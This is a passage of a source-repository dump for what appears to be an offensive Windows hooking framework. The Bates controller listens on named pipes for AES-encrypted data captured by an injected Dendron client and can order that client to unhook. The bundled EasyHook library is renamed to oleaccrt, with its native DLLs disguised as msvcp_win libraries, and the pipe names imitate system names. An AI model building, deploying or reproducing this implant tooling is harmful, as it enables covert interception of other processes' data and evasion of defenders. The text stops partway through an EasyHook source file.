├── .github
└── FUNDING.yml
├── Bates
├── Bates.sln
└── Bates
│ ├── Bates.csproj
│ ├── FodyWeavers.xml
│ ├── Program.cs
│ ├── Properties
│ └── AssemblyInfo.cs
│ ├── app.config
│ ├── hBates.cs
│ └── packages.config
├── BuildEnv
└── v2.7.7097
│ ├── Current-Managed-CONFIG.txt
│ ├── EasyHook-Managed
│ ├── COMClassInfo.cs
│ ├── Config.cs
│ ├── Debugging.cs
│ ├── DllImport.cs
│ ├── Domain
│ │ └── DomainIdentifier.cs
│ ├── EasyHook.sln
│ ├── ExecuteAsService.xml
│ ├── FileMonHost.xml
│ ├── FileMonInject.xml
│ ├── GACWrap.cs
│ ├── HelperServiceInterface.cs
│ ├── IPC
│ │ ├── -DummyCore.cs
│ │ ├── ChannelProperties.cs
│ │ ├── ConnectionManager.cs
│ │ ├── DomainConnectionEndPoint.cs
│ │ ├── DuplexChannel.cs
│ │ ├── DuplexChannelEndPointObject.cs
│ │ ├── DuplexChannelReadyEventHandler.cs
│ │ ├── DuplexChannelState.cs
│ │ ├── EndPointConfigurationData.cs
│ │ ├── EndPointObject.cs
│ │ └── SimplexChannel.cs
│ ├── InjectionLoader.cs
│ ├── LocalHook.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── RemoteHook.cs
│ ├── ServiceMgmt.cs
│ ├── StrongName.snk
│ ├── WOW64Bypass.cs
│ └── oleaccrt.csproj
│ ├── Native-EasyHook32.dll
│ └── Native-EasyHook64.dll
├── Dendron
├── Dendron.sln
└── Dendron
│ ├── API.cs
│ ├── App.config
│ ├── Costura32
│ └── msvcp_win32.dll
│ ├── Costura64
│ └── msvcp_win64.dll
│ ├── Dendron.csproj
│ ├── FodyWeavers.xml
│ ├── Program.cs
│ ├── Properties
│ └── AssemblyInfo.cs
│ ├── hDendron.cs
│ ├── libs
│ ├── x64
│ │ ├── 35
│ │ │ └── oleaccrt.dll
│ │ └── 45
│ │ │ └── oleaccrt.dll
│ └── x86
│ │ ├── 35
│ │ └── oleaccrt.dll
│ │ └── 45
│ │ └── oleaccrt.dll
│ └── packages.config
├── Images
├── apimon.png
├── cobaltstrike.png
├── dendrobate.png
├── donut.png
├── fermion.png
└── vip.png
├── LICENSE
├── LICENSE-3RD-PARTY.txt
└── README.md
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: FuzzySecurity
4 |
--------------------------------------------------------------------------------
/Bates/Bates.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30503.244
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Bates", "Bates\Bates.csproj", "{C57237D2-F6A4-448E-95C0-DCFED0313DD1}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {1326D11E-1515-4533-929A-56D848AA683C}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Bates/Bates/Bates.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}
8 | Exe
9 | Bates
10 | Bates
11 | v4.5
12 | 512
13 | true
14 |
15 |
16 |
17 |
18 |
19 | AnyCPU
20 | true
21 | full
22 | false
23 | bin\Debug\
24 | DEBUG;TRACE
25 | prompt
26 | 4
27 | false
28 |
29 |
30 | AnyCPU
31 | pdbonly
32 | true
33 | bin\Release\
34 | TRACE
35 | prompt
36 | 4
37 | false
38 |
39 |
40 |
41 | ..\packages\CommandLineParser.1.9.3.15\lib\CommandLine.dll
42 |
43 |
44 | ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll
45 | False
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/Bates/Bates/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CommandLine
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Bates/Bates/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using CommandLine;
3 |
4 | namespace Bates
5 | {
6 | class Program
7 | {
8 | class ArgOptions
9 | {
10 | [Option(null, "listen")]
11 | public Int32 iListen { get; set; }
12 |
13 | [Option(null, "kill")]
14 | public Boolean bKill { get; set; }
15 |
16 | [Option(null, "help")]
17 | public Boolean bHelp { get; set; }
18 | }
19 |
20 | static void Main(string[] args)
21 | {
22 | // Because ASCII
23 | hBates.getASCII();
24 |
25 | // Parse args
26 | var ArgOptions = new ArgOptions();
27 | if (CommandLineParser.Default.ParseArguments(args, ArgOptions))
28 | {
29 | if (ArgOptions.bHelp || args.Length == 0)
30 | {
31 | hBates.getHelp();
32 | } else
33 | {
34 | if (ArgOptions.bKill)
35 | {
36 | Boolean bSent = hBates.passControlCodeByPipe();
37 | if (bSent)
38 | {
39 | Console.WriteLine("\n[+] Dendron client un-hooking..");
40 | } else
41 | {
42 | Console.WriteLine("\n[!] Failed to talk to Dendron client..");
43 | }
44 | return;
45 | } else if (ArgOptions.iListen != 0)
46 | {
47 | hBates.ListenNamedPipe(ArgOptions.iListen);
48 | return;
49 | } else
50 | {
51 | hBates.getHelp();
52 | }
53 | }
54 | } else
55 | {
56 | hBates.getHelp();
57 | }
58 | }
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/Bates/Bates/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Bates")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Bates")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("c57237d2-f6a4-448e-95c0-dcfed0313dd1")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Bates/Bates/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Bates/Bates/hBates.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.IO.Pipes;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Cryptography;
7 | using System.Text;
8 |
9 | namespace Bates
10 | {
11 | public class hBates
12 | {
13 | // Globals
14 | //-----------
15 | public static String sDataPipe = "scerpcDSS"; // Sync in dendron & bates
16 | public static String sControlPipe = "MsFetWid"; // Sync in dendron & bates
17 | public static String sAESKey = "P8CuaPrgwBjunvZxJcgq"; // Sync in dendron & bates
18 |
19 | // Structs
20 | //-----------
21 | [Serializable()]
22 | [StructLayout(LayoutKind.Sequential)]
23 | public struct HOOKDAT
24 | {
25 | public UInt32 iType; // 0 == String; 1 == Byte[]; 2 == Fail decrypt; 3 == Fail Data
26 | public String sHookFunc; // Function where the data originated
27 | public String sHookData;
28 | public Byte[] bHookData;
29 | }
30 |
31 | // Help me!
32 | //-----------
33 | public static void getASCII()
34 | {
35 | Console.WriteLine(@" ( ) ");
36 | Console.WriteLine(@" ( )\ ) ( /( ( ");
37 | Console.WriteLine(@" )((_) ( /( )\())))\( ");
38 | Console.WriteLine(@"((_)_ )(_)|_))//((_)\ ");
39 | Console.WriteLine(@" | _ )((_)_| |_(_))((_)");
40 | Console.WriteLine(@" | _ \/ _` | _/ -_|_-<");
41 | Console.WriteLine(@" |___/\__,_|\__\___/__/");
42 | }
43 |
44 | public static void getHelp()
45 | {
46 | string HelpText = "\n >--~~--> Args? <--~~--<\n\n" +
47 | "--help This help menu.\n" +
48 | "--listen Listen for X seconds for Dendron comms.\n" +
49 | "--kill Instruct dendron client to un-hook.\n\n" +
50 | " >--~~--> Usage? <--~~--<\n\n" +
51 | "# Listen for X seconds on the Dendrobate data pipe\n" +
52 | "Bates.exe --listen 180\n\n" +
53 | "# Instruct dendron client to un-hook by sending a magic value over the Dendrobate control pipe\n" +
54 | "Bates.exe --kill";
55 | Console.WriteLine(HelpText);
56 | }
57 |
58 | // Helpers
59 | //-----------
60 | public static Byte[][] ComputeSha256KeyMat(String sInput)
61 | {
62 | Byte[][] res = new Byte[2][];
63 | Encoding enc = Encoding.UTF8;
64 |
65 | SHA256 sha256 = new SHA256CryptoServiceProvider();
66 | byte[] hashKey = sha256.ComputeHash(enc.GetBytes(sInput));
67 | byte[] hashIV = sha256.ComputeHash(enc.GetBytes(sInput));
68 | Array.Resize(ref hashIV, 16);
69 |
70 | res[0] = hashKey;
71 | res[1] = hashIV;
72 |
73 | return res;
74 | }
75 |
76 | private static byte[] ReadMessage(PipeStream pipe)
77 | {
78 | byte[] buffer = new byte[1024];
79 | using (var ms = new MemoryStream())
80 | {
81 | do
82 | {
83 | var readBytes = pipe.Read(buffer, 0, buffer.Length);
84 | ms.Write(buffer, 0, readBytes);
85 | }
86 | while (!pipe.IsMessageComplete);
87 |
88 | return ms.ToArray();
89 | }
90 | }
91 |
92 | public static void ListenNamedPipe(Int32 iSeconds)
93 | {
94 | // Set up a timer
95 | Stopwatch tTimer = new Stopwatch();
96 | tTimer.Start();
97 |
98 | Console.WriteLine("\n[+] Creating Bates pipe listener..");
99 | Console.WriteLine(@" |_ \\.\pipe\" + sDataPipe);
100 | Console.WriteLine(" |_ " + iSeconds + "s timer");
101 | Console.WriteLine(" |_ Waiting for client");
102 |
103 | // Loop
104 | while (tTimer.Elapsed.TotalSeconds < iSeconds)
105 | {
106 | var oPipe = new NamedPipeServerStream(sDataPipe, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message);
107 | oPipe.WaitForConnection();
108 | Byte[] messageBytes = ReadMessage(oPipe);
109 |
110 | // Process data
111 | HOOKDAT oHook = AESUnKeyObject(messageBytes);
112 | if (oHook.iType == 2 || oHook.iType == 3)
113 | {
114 | if (oHook.iType == 2)
115 | {
116 | Console.WriteLine("\n[!] Failed to decrypt pipe data..");
117 | } else
118 | {
119 | Console.WriteLine("\n[!] Invalid data..");
120 | }
121 | } else
122 | {
123 | Console.WriteLine("\n[+] Dendron client connected");
124 | Console.WriteLine(" |_ Function : " + oHook.sHookFunc);
125 | if (oHook.iType == 0)
126 | {
127 | Console.WriteLine(" |_ Data Type : String");
128 | Console.WriteLine(" |_ Data : \n\n" + oHook.sHookData);
129 | } else
130 | {
131 | Console.WriteLine(" |_ Data Type : Byte[]");
132 | Console.WriteLine(" |_ Data : \n\n" + HexDump(oHook.bHookData));
133 | }
134 | }
135 | }
136 | }
137 |
138 | public static Boolean passControlCodeByPipe()
139 | {
140 | try
141 | {
142 | NamedPipeClientStream pipe = new NamedPipeClientStream("localhost", sControlPipe, PipeDirection.InOut);
143 | try
144 | {
145 | // Can we connect to the pipe?
146 | pipe.Connect(50); // Unclear if we need a small ms buffer time here
147 | pipe.ReadMode = PipeTransmissionMode.Message;
148 |
149 | // Encrypt magic data
150 | Byte[] bMagic = Encoding.UTF8.GetBytes("Dendrobate");
151 | Byte[] bEncrypt = arrayToAESArray(bMagic);
152 |
153 | // Write data
154 | pipe.Write(bEncrypt, 0, bEncrypt.Length);
155 | pipe.Close();
156 |
157 | return true;
158 | }
159 | catch
160 | {
161 | pipe.Close();
162 | return false;
163 | }
164 | }
165 | catch
166 | {
167 | return false;
168 | }
169 | }
170 |
171 | public static Byte[] AES256EncryptToArray(Byte[] bInput, Byte[] bKey, Byte[] bIV)
172 | {
173 | Byte[] encrypted;
174 |
175 | using (AesManaged aesAlg = new AesManaged())
176 | {
177 | aesAlg.Key = bKey;
178 | aesAlg.IV = bIV;
179 |
180 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
181 |
182 | using (MemoryStream msEncrypt = new MemoryStream())
183 | {
184 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
185 | {
186 | using (BinaryWriter swEncrypt = new BinaryWriter(csEncrypt))
187 | {
188 | swEncrypt.Write(bInput);
189 | }
190 | encrypted = msEncrypt.ToArray();
191 | }
192 | }
193 | }
194 | return encrypted;
195 | }
196 |
197 | public static Byte[] arrayToAESArray(Byte[] bInput)
198 | {
199 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey);
200 | return AES256EncryptToArray(bInput, aSHAKeyMatt[0], aSHAKeyMatt[1]);
201 | }
202 |
203 | public static Byte[] DecryptArrayFromAES256(Byte[] bCipherText, Byte[] bKey, Byte[] bIV)
204 | {
205 | Byte[] bResult = { };
206 | try
207 | {
208 | using (Aes aesAlg = Aes.Create())
209 | using (MemoryStream output = new MemoryStream())
210 | {
211 | aesAlg.Key = bKey;
212 | aesAlg.IV = bIV;
213 |
214 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
215 | using (MemoryStream msDecrypt = new MemoryStream(bCipherText))
216 | {
217 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
218 | {
219 | Byte[] buffer = new Byte[1024];
220 | Int32 read = csDecrypt.Read(buffer, 0, buffer.Length);
221 | while (read > 0)
222 | {
223 | output.Write(buffer, 0, read);
224 | read = csDecrypt.Read(buffer, 0, buffer.Length);
225 | }
226 | csDecrypt.Flush();
227 | bResult = output.ToArray();
228 | }
229 | }
230 | }
231 | return bResult;
232 | }
233 | catch
234 | {
235 | return bResult;
236 | }
237 | }
238 |
239 | public static HOOKDAT ByteArrayToObject(Byte[] arrBytes)
240 | {
241 | //--- Array structure
242 | // [UInt32 Type]--[UInt32 Size]--[UTF8 sFuncName]--[UInt32 Size]--[Byte[] Hook data]
243 | //---
244 |
245 | // Result object
246 | HOOKDAT oHookDat = new HOOKDAT();
247 |
248 | // Populate object
249 | oHookDat.iType = BitConverter.ToUInt32(arrBytes, 0);
250 |
251 | UInt32 iFuncNameSize = BitConverter.ToUInt32(arrBytes, 4);
252 | oHookDat.sHookFunc = Encoding.UTF8.GetString(arrBytes, 8, (Int32)iFuncNameSize);
253 |
254 | UInt32 iDataSize = BitConverter.ToUInt32(arrBytes, 8 + (Int32)iFuncNameSize);
255 | if (oHookDat.iType == 0)
256 | {
257 | oHookDat.sHookData = Encoding.UTF8.GetString(arrBytes, 12 + (Int32)iFuncNameSize, (Int32)iDataSize);
258 | } else
259 | {
260 | oHookDat.bHookData = new Byte[iDataSize];
261 | Array.Copy(arrBytes, 12 + (Int32)iFuncNameSize, oHookDat.bHookData, 0, iDataSize);
262 | }
263 |
264 | return oHookDat;
265 | }
266 |
267 | public static HOOKDAT AESUnKeyObject(Byte[] bPipeData)
268 | {
269 | // Result object
270 | HOOKDAT oHook = new HOOKDAT();
271 |
272 | // Decrypt
273 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey);
274 | Byte[] bDecrypt = DecryptArrayFromAES256(bPipeData, aSHAKeyMatt[0], aSHAKeyMatt[1]);
275 |
276 | if (bDecrypt.Length > 0)
277 | {
278 | try
279 | {
280 | oHook = ByteArrayToObject(bDecrypt);
281 | } catch
282 | {
283 | oHook.iType = 2;
284 | }
285 | }
286 | else
287 | {
288 | oHook.iType = 3;
289 | }
290 | return oHook;
291 | }
292 |
293 | // https://www.codeproject.com/Articles/36747/Quick-and-Dirty-HexDump-of-a-Byte-Array
294 | public static string HexDump(byte[] bytes, int bytesPerLine = 16)
295 | {
296 | if (bytes == null) return "";
297 | int bytesLength = bytes.Length;
298 |
299 | char[] HexChars = "0123456789ABCDEF".ToCharArray();
300 |
301 | int firstHexColumn =
302 | 8 // 8 characters for the address
303 | + 3; // 3 spaces
304 |
305 | int firstCharColumn = firstHexColumn
306 | + bytesPerLine * 3 // - 2 digit for the hexadecimal value and 1 space
307 | + (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th
308 | + 2; // 2 spaces
309 |
310 | int lineLength = firstCharColumn
311 | + bytesPerLine // - characters to show the ascii value
312 | + Environment.NewLine.Length; // Carriage return and line feed (should normally be 2)
313 |
314 | char[] line = (new String(' ', lineLength - Environment.NewLine.Length) + Environment.NewLine).ToCharArray();
315 | int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine;
316 | StringBuilder result = new StringBuilder(expectedLines * lineLength);
317 |
318 | for (int i = 0; i < bytesLength; i += bytesPerLine)
319 | {
320 | line[0] = HexChars[(i >> 28) & 0xF];
321 | line[1] = HexChars[(i >> 24) & 0xF];
322 | line[2] = HexChars[(i >> 20) & 0xF];
323 | line[3] = HexChars[(i >> 16) & 0xF];
324 | line[4] = HexChars[(i >> 12) & 0xF];
325 | line[5] = HexChars[(i >> 8) & 0xF];
326 | line[6] = HexChars[(i >> 4) & 0xF];
327 | line[7] = HexChars[(i >> 0) & 0xF];
328 |
329 | int hexColumn = firstHexColumn;
330 | int charColumn = firstCharColumn;
331 |
332 | for (int j = 0; j < bytesPerLine; j++)
333 | {
334 | if (j > 0 && (j & 7) == 0) hexColumn++;
335 | if (i + j >= bytesLength)
336 | {
337 | line[hexColumn] = ' ';
338 | line[hexColumn + 1] = ' ';
339 | line[charColumn] = ' ';
340 | }
341 | else
342 | {
343 | byte b = bytes[i + j];
344 | line[hexColumn] = HexChars[(b >> 4) & 0xF];
345 | line[hexColumn + 1] = HexChars[b & 0xF];
346 | line[charColumn] = (b < 32 ? '·' : (char)b);
347 | }
348 | hexColumn += 3;
349 | charColumn++;
350 | }
351 | result.Append(line);
352 | }
353 | return result.ToString();
354 | }
355 | }
356 | }
357 |
--------------------------------------------------------------------------------
/Bates/Bates/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/Current-Managed-CONFIG.txt:
--------------------------------------------------------------------------------
1 | -=Current config=-
2 |
3 | Native libs:
4 | - EasyHook32.dll --> msvcp_win32.dll
5 | - EasyHook64.dll --> msvcp_win64.dll
6 |
7 | Managed libs:
8 | - Assembly name --> oleaccrt
9 | - Namespace --> oleaccrt
--------------------------------------------------------------------------------
/BuildEnv/v2.7.7097/EasyHook-Managed/COMClassInfo.cs:
--------------------------------------------------------------------------------
1 | // EasyHook (File: EasyHook\COMClassInfo.cs)
2 | //
3 | // Copyright (c) 2015 Justin Stenning
4 | //
5 | // Permission is hereby granted, free of charge, to any person obtaining a copy
6 | // of this software and associated documentation files (the "Software"), to deal
7 | // in the Software without restriction, including without limitation the rights
8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | // copies of the Software, and to permit persons to whom the Software is
10 | // furnished to do so, subject to the following conditions:
11 | //
12 | // The above copyright notice and this permission notice shall be included in
13 | // all copies or substantial portions of the Software.
14 | //
15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | // THE SOFTWARE.
22 | //
23 | // Please visit https://easyhook.github.io for more information
24 | // about the project and latest updates.
25 |
26 | using System;
27 | using System.Collections.Generic;
28 | using System.Reflection;
29 | using System.Runtime.InteropServices;
30 |
31 | namespace oleaccrt
32 | {
33 | ///
34 | /// A helper class for determining the address of COM object functions for hooking given a COM class id (CLSID) and COM interface id (IID), or COM class type and COM interface type.
35 | ///
36 | ///
37 | /// The following three examples result in the same output:
38 | ///
39 | /// // 1. Use imported Class and Interface Types
40 | /// COMClassInfo cci1 = new COMClassInfo(typeof(CLSID_DirectInputDevice8), typeof(IID_IDirectInputDevice8W), "GetCapabilities");
41 | /// // 2. Use Guid from class and interface types
42 | /// COMClassInfo cci2 = new COMClassInfo(typeof(CLSID_DirectInputDevice8).GUID, typeof(IID_IDirectInputDevice8W).GUID, 3);
43 | /// // 3. Use class and interface Guids directly (no need to have class and interface types defined)
44 | /// COMClassInfo cci3 = new COMClassInfo(new Guid("25E609E5-B259-11CF-BFC7-444553540000"), new Guid("54D41081-DC15-4833-A41B-748F73A38179"), 3);
45 | ///
46 | /// // Will output False if dinput8.dll is not already loaded
47 | /// Console.WriteLine(cci1.IsModuleLoaded());
48 | /// cci1.Query();
49 | /// cci2.Query();
50 | /// cci3.Query();
51 | /// // Will output True as dinput8.dll will be loaded by .Query() if not already
52 | /// Console.WriteLine(cci1.IsModuleLoaded());
53 | ///
54 | /// // Output the function pointers we queried
55 | /// Console.WriteLine(cci1.FunctionPointers[0]);
56 | /// Console.WriteLine(cci2.FunctionPointers[0]);
57 | /// Console.WriteLine(cci3.FunctionPointers[0]);
58 | ///
59 | /// ...
60 | ///
61 | /// [ComVisible(true)]
62 | /// [Guid("25E609E5-B259-11CF-BFC7-444553540000")]
63 | /// public class CLSID_DirectInputDevice8
64 | /// {
65 | /// }
66 | ///
67 | /// [ComVisible(true)]
68 | /// [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
69 | /// [Guid("54D41081-DC15-4833-A41B-748F73A38179")]
70 | /// public interface IID_IDirectInputDevice8W
71 | /// {
72 | /// /*** IDirectInputDevice8W methods ***/
73 | /// int GetCapabilities(IntPtr deviceCaps); // fourth method due to IUnknown methods QueryInterface, AddRef and Release
74 | /// // other methods...
75 | /// }
76 | ///
77 | ///
78 | public class COMClassInfo
79 | {
80 | ///
81 | /// Creates a new COMClassInfo using the COM class and interface types. The function names to retrieve the addresses for should be provided as strings
82 | ///
83 | /// The COM object's class type
84 | /// The COM object's interface type
85 | /// The methods to retrieve addresses for
86 | public COMClassInfo(Type classtype, Type interfacetype, params string[] methodNames)
87 | {
88 | if (methodNames == null || methodNames.Length == 0)
89 | throw new ArgumentException("At least one method name must be provided", "methodNames");
90 |
91 | ClassType = classtype;
92 | InterfaceType = interfacetype;
93 | Methods = new MethodInfo[methodNames.Length];
94 | MethodPointers = new IntPtr[methodNames.Length];
95 |
96 | for (var i = 0; i < methodNames.Length; i++)
97 | Methods[i] = InterfaceType.GetMethod(methodNames[i]);
98 | }
99 |
100 | ///
101 | /// Creates a new COMClassInfo instance using the COM class and interface Guids. The function indexes to retrieve the addresses for as defined by the order of the methods in the COM interface.
102 | ///
103 | /// The class id (CLSID) of the COM object
104 | /// The interface id (IID) of the COM interface. This interface MUST inherit from IUnknown.
105 | /// One or more method indexes to retrieve the address for. Index 0 == QueryInterface, 1 == AddRef, 2 == Release, 3 == first method and so on, i.e. the order that the methods appear in the interface's C++ header file.
106 | public COMClassInfo(Guid clsid, Guid iid, params int[] vTableIndexes)
107 | {
108 | if (vTableIndexes == null || vTableIndexes.Length == 0)
109 | throw new ArgumentException("At least one VTable index must be provided", "vTableIndexes");
110 |
111 | ClassId = clsid;
112 | InterfaceId = iid;
113 | VTableIndexes = vTableIndexes;
114 | MethodPointers = new IntPtr[vTableIndexes.Length];
115 | }
116 |
117 | #region CLSID / IID / VTable indexes approach
118 | private Guid ClassId { get; set; }
119 | private Guid InterfaceId { get; set; }
120 | private int[] VTableIndexes { get; set; }
121 | #endregion
122 |
123 | #region ClassType / InterfaceType / Method names approach
124 |
125 | private Type ClassType { get; set; }
126 | private Type InterfaceType { get; set; }
127 | private MethodInfo[] Methods { get; set; }
128 |
129 | #endregion
130 |
131 | ///
132 | /// Will contain the method addresses after a call to . The index corresponds to the order method names / indexes are passed into or .
133 | ///
134 | public IntPtr[] MethodPointers { get; private set; }
135 |
136 | internal System.Diagnostics.ProcessModule m_ModuleHandle;
137 | ///
138 | /// Retrieve the module for the COM class. Only available after a call to .
139 | ///
140 | public System.Diagnostics.ProcessModule LibraryOfFunction
141 | {
142 | get
143 | {
144 | if (m_ModuleHandle == null)
145 | {
146 | DetermineModuleHandle();
147 | }
148 | return m_ModuleHandle;
149 | }
150 | }
151 |
152 | internal void DetermineModuleHandle()
153 | {
154 | System.Diagnostics.Process pr = System.Diagnostics.Process.GetCurrentProcess();
155 | foreach (System.Diagnostics.ProcessModule pm in pr.Modules)
156 | {
157 | if (MethodPointers[0].ToInt64() >= pm.BaseAddress.ToInt64() &&
158 | MethodPointers[0].ToInt64() <= pm.BaseAddress.ToInt64() + pm.ModuleMemorySize)
159 | {
160 | m_ModuleHandle = pm;
161 | return;
162 | }
163 | }
164 | m_ModuleHandle = null;
165 | }
166 |
167 | ///
168 | /// Query the COM class for the specified method addresses. If not already loaded the COM module will be loaded.
169 | ///
170 | /// True if the COM class exists, False otherwise.
171 | /// Thrown if the method index extends beyond the interface and into protected memory.
172 | /// If the provided interface type is not an interface, or the class type is not visible to COM.
173 | /// Thrown if the class instance does not support the specified interface.
174 | [System.Security.Permissions.RegistryPermission(System.Security.Permissions.SecurityAction.Assert)]
175 | [System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Assert, UnmanagedCode = true)]
176 | public unsafe bool Query()
177 | {
178 | Guid classGuid = Guid.Empty;
179 | Guid interfaceGuid = Guid.Empty;
180 | Guid classFactoryGuid = typeof(IClassFactory).GUID;
181 | Guid classFactory2Guid = typeof(IClassFactory2).GUID;
182 | int[] vTableOffsets = null;
183 | object classInstance = null;
184 |
185 | if (ClassType != null)
186 | {
187 | classGuid = ClassType.GUID;
188 | interfaceGuid = InterfaceType.GUID;
189 | // get com-slot-number (vtable-index) of function X
190 | vTableOffsets = new int[MethodPointers.Length];
191 | for (var i = 0; i < Methods.Length; i++)
192 | vTableOffsets[i] = Marshal.GetComSlotForMethodInfo(Methods[i]);
193 | }
194 | else
195 | {
196 | classGuid = ClassId;
197 | interfaceGuid = InterfaceId;
198 | // get com-slot-number (vtable-index) of function N
199 | vTableOffsets = VTableIndexes;
200 | }
201 |
202 | classInstance = GetClassInstance(classGuid, interfaceGuid, classFactoryGuid, classFactory2Guid);
203 | if (classInstance == null)
204 | return false;
205 |
206 | IntPtr interfaceIntPtr = IntPtr.Zero;
207 | if (InterfaceType != null)
208 | interfaceIntPtr = Marshal.GetComInterfaceForObject(classInstance, InterfaceType);
209 | else
210 | {
211 | interfaceIntPtr = Marshal.GetIUnknownForObject(classInstance);
212 | Marshal.QueryInterface(interfaceIntPtr, ref interfaceGuid, out interfaceIntPtr);
213 | }
214 |
215 | try
216 | {
217 | int*** interfaceRawPtr = (int***)interfaceIntPtr.ToPointer();
218 | // get vtable
219 | int** vTable = *interfaceRawPtr;
220 | // get function-addresses from vtable
221 | for (var i = 0; i < vTableOffsets.Length; i++)
222 | {
223 | int* faddr = vTable[vTableOffsets[i]];
224 | MethodPointers[i] = new IntPtr(faddr);
225 | }
226 | }
227 | finally
228 | {
229 | // release intptr
230 | if (interfaceIntPtr != IntPtr.Zero)
231 | Marshal.Release(interfaceIntPtr);
232 | Marshal.FinalReleaseComObject(classInstance);
233 | }
234 |
235 | return true;
236 | }
237 |
238 | ///
239 | /// Determines if the module containing the COM class is already loaded
240 | ///
241 | /// True if the module is loaded, otherwise False
242 | [System.Security.Permissions.RegistryPermission(System.Security.Permissions.SecurityAction.Assert)]
243 | [System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Assert, UnmanagedCode = true)]
244 | public bool IsModuleLoaded()
245 | {
246 | Guid classGuid = Guid.Empty;
247 |
248 | if (ClassType != null)
249 | classGuid = ClassType.GUID;
250 | else
